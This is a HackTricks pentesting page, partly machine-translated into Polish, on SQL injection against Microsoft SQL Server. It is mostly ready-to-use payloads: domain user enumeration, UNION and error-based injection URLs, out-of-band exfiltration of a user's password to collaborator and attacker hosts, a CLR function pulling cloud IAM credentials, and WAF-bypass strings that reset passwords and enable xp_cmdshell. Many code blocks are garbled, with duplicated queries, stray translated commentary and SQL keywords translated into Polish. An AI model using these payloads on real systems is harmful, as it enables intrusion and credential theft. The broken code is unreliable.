# Wstrzyknięcie SQL w MSSQL

<details>

<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Inne sposoby wsparcia HackTricks:

* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

## Wyliczanie użytkowników Active Directory

Możliwe jest **wyliczenie użytkowników domeny za pomocą wstrzyknięcia SQL wewnątrz serwera MSSQL**, korzystając z następujących funkcji MSSQL:

* **`SELECT DEFAULT_DOMAIN()`**: Pobierz nazwę bieżącej domeny.
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Jeśli znasz nazwę domeny (_DOMAIN_ w tym przykładzie), ta funkcja zwróci **SID użytkownika Administratora** w formacie szesnastkowym. Będzie to wyglądać jak `0x01050000000[...]0000f401`, zauważ, że **ostatnie 4 bajty** to liczba **500** w formacie **big endian**, która jest **wspólnym identyfikatorem użytkownika administratora**.\
Ta funkcja pozwoli ci **poznać ID domeny** (wszystkie bajty oprócz ostatnich 4).
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Ta funkcja zwróci **nazwę użytkownika dla wskazanego ID** (jeśli istnieje), w tym przypadku **0000e803** w formacie big endian == **1000** (zwykle jest to ID pierwszego utworzonego zwykłego użytkownika). Możesz sobie wyobrazić, że możesz próbować siłowo ID użytkowników od 1000 do 2000 i prawdopodobnie uzyskać wszystkie nazwy użytkowników domeny. Na przykład, korzystając z funkcji podobnej do tej:
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
```
## **Alternatywne wektory oparte na błędach**

Błędne wstrzyknięcia SQL zwykle mają konstrukcje podobne do `+AND+1=@@version--` i wariantów opartych na operatorze «OR». Zapytania zawierające takie wyrażenia są zazwyczaj blokowane przez WAFy. Aby je ominąć, połącz ciąg znaków za pomocą znaku %2b z wynikiem konkretnych wywołań funkcji, które wywołują błąd konwersji typu danych na poszukiwanych danych.

Przykłady takich funkcji:

* `SUSER_NAME()`
* `USER_NAME()`
* `PERMISSIONS()`
* `DB_NAME()`
* `FILE_NAME()`
* `TYPE_NAME()`
* `COL_NAME()`

Przykład użycia funkcji `USER_NAME()`:
```
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/6.png)

## SSRF

Te sztuczki SSRF [zostały zaczerpnięte stąd](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

### `fn_xe_file_target_read_file`

Wymaga uprawnienia **`VIEW SERVER STATE`** na serwerze.
```
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
```

```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
```
### `fn_get_audit_file`

Wymaga uprawnienia **`CONTROL SERVER`**.
```
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
```

```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
```
### `fn_trace_gettabe`

Wymaga uprawnienia **`CONTROL SERVER`**.
```
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
```

```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>

Procedury składowane takie jak `xp_dirtree`, chociaż nie są oficjalnie udokumentowane przez firmę Microsoft, zostały opisane przez innych online ze względu na ich przydatność w operacjach sieciowych w MSSQL. Te procedury są często wykorzystywane do eksfiltracji danych Out of Band, jak pokazano w różnych [przykładach](https://www.notsosecure.com/oob-exploitation-cheatsheet/) i [postach](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).

Na przykład, procedura składowana `xp_dirtree` jest używana do wykonywania żądań sieciowych, ale jest ograniczona tylko do portu TCP 445. Numer portu nie jest modyfikowalny, ale umożliwia odczyt z udziałów sieciowych. Użycie jest przedstawione w poniższym skrypcie SQL:
```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
```
Warto zauważyć, że ta metoda może nie działać na wszystkich konfiguracjach systemu, takich jak `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` działający na `Windows Server 2016 Datacenter` z domyślnymi ustawieniami.

Dodatkowo istnieją alternatywne procedury składowane, takie jak `master..xp_fileexist` i `xp_subdirs`, które mogą osiągnąć podobne rezultaty. Więcej informacji na temat `xp_fileexist` można znaleźć w tym [artykule TechNet](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).


### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>

Oczywiście można również użyć **`xp_cmdshell`** do **wykonania** czegoś, co wywoła **SSRF**. Więcej informacji znajduje się w **odpowiednim rozdziale** na stronie:

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}

### MSSQL Funkcja zdefiniowana przez użytkownika - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>

Tworzenie funkcji CLR UDF (Common Language Runtime User Defined Function), która jest kodem napisanym w dowolnym języku .NET i skompilowanym do DLL, aby został załadowany w MSSQL w celu wykonania niestandardowych funkcji, jest procesem, który wymaga dostępu `dbo`. Oznacza to, że jest to zazwyczaj wykonalne tylko wtedy, gdy połączenie z bazą danych jest nawiązywane jako `sa` lub z rolą Administratora.

W [tym repozytorium Github](https://github.com/infiniteloopltd/SQLHttp) dostarczono projekt Visual Studio oraz instrukcje instalacji, które ułatwiają załadowanie binarnego pliku do MSSQL jako zestawu CLR, umożliwiając tym samym wykonywanie żądań HTTP GET wewnątrz MSSQL.

Rdzeń tej funkcjonalności jest zawarty w pliku `http.cs`, który wykorzystuje klasę `WebClient` do wykonania żądania GET i pobrania zawartości, jak pokazano poniżej:
```csharp
using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}
```
Przed wykonaniem polecenia SQL `CREATE ASSEMBLY` zaleca się uruchomienie następującego fragmentu kodu SQL, aby dodać skrót SHA512 zestawu do listy zaufanych zestawów serwera (widocznej za pomocą `select * from sys.trusted_assemblies;`):
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
Po pomyślnym dodaniu zestawu i utworzeniu funkcji, można użyć następującego kodu SQL do wykonywania żądań HTTP:
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
### **Szybkie wykorzystanie: Pobieranie całej zawartości tabeli w jednym zapytaniu**

[Sztuczka stąd](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).

Zwięzła metoda pobierania pełnej zawartości tabeli w jednym zapytaniu polega na wykorzystaniu klauzuli `FOR JSON`. Ten podejście jest bardziej zwięzłe niż użycie klauzuli `FOR XML`, która wymaga określonego trybu, takiego jak "raw". Klauzula `FOR JSON` jest preferowana ze względu na swoją zwięzłość.

Oto jak pobrać schemat, tabele i kolumny z bieżącej bazy danych:
```sql
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
## MSSQL Injection

### Opis

Wstrzykiwanie SQL w systemie zarządzania bazą danych Microsoft SQL Server (MSSQL) polega na wykorzystaniu podatności w aplikacji internetowej, która umożliwia wstrzyknięcie kodu SQL do zapytań wykonywanych na bazie danych. 

### Przykład

Poniższy przykład demonstruje wstrzykiwanie SQL w aplikacji internetowej, która korzysta z bazy danych MSSQL:

```
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
```

### Wyjaśnienie

W powyższym przykładzie, wstrzykiwanie SQL jest wykorzystane w parametrze `id` zapytania HTTP. Fragment `1'+and+1=` jest używany do zainfekowania zapytania SQL, a następnie wykorzystuje się funkcję `concat_ws` do pobrania informacji o schemacie tabeli, nazwie tabeli i nazwie kolumny z bazy danych. 

### Skutki

Wstrzykiwanie SQL w systemie MSSQL może prowadzić do różnych skutków, takich jak:

- Ujawnienie poufnych informacji z bazy danych
- Modyfikacja, usuwanie lub dodawanie danych w bazie danych
- Wykonanie dowolnego kodu SQL na serwerze bazy danych

### Zabezpieczenia

Aby zabezpieczyć aplikację przed wstrzykiwaniem SQL w systemie MSSQL, należy zastosować następujące środki ostrożności:

- Wykorzystywać parametryzowane zapytania SQL
- Walidować i filtrować dane wejściowe
- Unikać dynamicznych zapytań SQL
- Używać mechanizmów autoryzacji i uwierzytelniania
- Regularnie aktualizować oprogramowanie serwera bazy danych
```

### Retrieving the Current Query

[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).

For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

```sql
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

W powyższym linku występuje atak SQL Injection. Parametr "id" jest podatny na atak. Wstrzyknięcie kodu SQL pozwala na wykonanie złośliwego kodu na serwerze bazy danych. W tym przypadku, atakujący próbuje wydobyć tekst z tabeli sys.dm_exec_requests i sys.dm_exec_sql_text.
```

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
```

## **Little tricks for WAF bypasses**

[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

Non-standard whitespace characters: %C2%85 или %C2%A0:

```
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

## Opis

Ten URL zawiera potencjalną podatność na atak SQL Injection. Parametr "id" jest podatny na wstrzyknięcie kodu SQL.

## Wykorzystanie

Aby wykorzystać tę podatność, możemy użyć techniki "Union-Based SQL Injection". W tym przypadku, używamy komendy "UNION SELECT" do pobrania danych z innych tabel w bazie danych.

W powyższym URL, używamy "UNION SELECT null, @@version, null" do pobrania wersji bazy danych.

## Zabezpieczenie

Aby zabezpieczyć aplikację przed atakami SQL Injection, należy stosować parametryzację zapytań SQL lub używać mechanizmów ORM (Object-Relational Mapping). Ważne jest również sprawdzanie i walidacja danych wejściowych, aby zapobiec wstrzyknięciu kodu SQL.
```

Scientific (0e) and hex (0x) notation for obfuscating UNION:

```
## Wstrzyknięcie SQL w MSSQL

Wstrzyknięcie SQL w aplikacji internetowej opartej na bazie danych MSSQL może umożliwić atakującemu wykonanie złośliwego kodu SQL. Poniżej przedstawiono przykłady wstrzyknięcia SQL w aplikacji podatnej na atak:

```plaintext
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```

W powyższych przykładach parametr `id` jest podatny na wstrzyknięcie SQL. Atakujący wykorzystuje operator `UNION` do łączenia wyników zapytań SQL. W pierwszym przykładzie używa się notacji naukowej `0e` przed słowem `union`, a w drugim przykładzie używa się notacji szesnastkowej `0x`. Następnie atakujący wykorzystuje funkcję `@@version`, aby uzyskać informacje o wersji bazy danych MSSQL.

Aby zabezpieczyć aplikację przed wstrzyknięciem SQL, należy odpowiednio filtrować i walidować dane wejściowe oraz stosować parametryzowane zapytania SQL.
```

A period instead of a whitespace between FROM and a column name:

```
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

## Opis

Ten URL zawiera potencjalną podatność na atak SQL Injection. Parametr `id` jest podatny na wstrzyknięcie kodu SQL.

## Atak

Atakujący może wykorzystać podatność na SQL Injection, aby uzyskać wrażliwe informacje z bazy danych. W tym przypadku, atakujący próbuje wydobyć wersję bazy danych MSSQL.

Atakujący wprowadza `1 union select null,@@version,null from.users--` jako wartość parametru `id`. W wyniku zapytania SQL zostanie wykonane połączenie dwóch tabel: `null` oraz `@@version`. `@@version` zwróci wersję bazy danych MSSQL.

## Zabezpieczenie

Aby zabezpieczyć aplikację przed atakami SQL Injection, należy skorzystać z parametryzowanych zapytań lub zastosować mechanizmy filtrowania i walidacji danych wejściowych. W przypadku bazy danych MSSQL, można również ograniczyć uprawnienia użytkownika do minimalnego poziomu wymaganego przez aplikację.
```

\N separator between SELECT and a throwaway column:

```
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

## SQL Injection (Wstrzyknięcie SQL)

### MSSQL Injection (Wstrzyknięcie MSSQL)

Wstrzyknięcie SQL to technika ataku, która polega na wstrzyknięciu złośliwego kodu SQL do zapytania SQL, które jest wykonywane przez aplikację internetową. W przypadku wstrzyknięcia MSSQL, atakujący próbuje wykorzystać podatność w aplikacji internetowej, która korzysta z bazy danych Microsoft SQL Server (MSSQL).

#### Przykład ataku

Poniższy link jest przykładem ataku wstrzyknięcia MSSQL:

```
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```

W powyższym przykładzie, atakujący próbuje wstrzyknąć kod SQL do parametru `id`. Wstrzyknięty kod SQL to `0xunion+select\Nnull,@@version,null+from+users--`. Ten kod SQL ma na celu wyświetlenie wersji bazy danych MSSQL.

Aby zabezpieczyć aplikację przed wstrzyknięciem MSSQL, należy odpowiednio filtrować i walidować dane wejściowe, a także korzystać z parametryzowanych zapytań SQL.
```

### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
SELECT 'a' SELECT 'b'
```

So for example, multiple queries such as:

```sql
```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
```

```sql
użyj [tempdb]
utwórz tabelę [test] ([id] int)
wstaw [test] wartości(1)
wybierz [id] z [test]
usuń tabelę [test]
```
```

Can be reduced to:

```sql
```sql
Użyj[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
```
```

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

```
# Dodanie bezużytecznego exec() na końcu i sprawienie, że WAF uzna to za nieprawidłowe zapytanie
admina'union select 1,'admin','testtest123'exec('select 1')--
## To będzie:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Użycie dziwnie skonstruowanych zapytań
admin'exec('update[users]set[password]=''a''')--
## To będzie:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# Lub włączenie xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## To będzie:
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--'
```

## References

* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>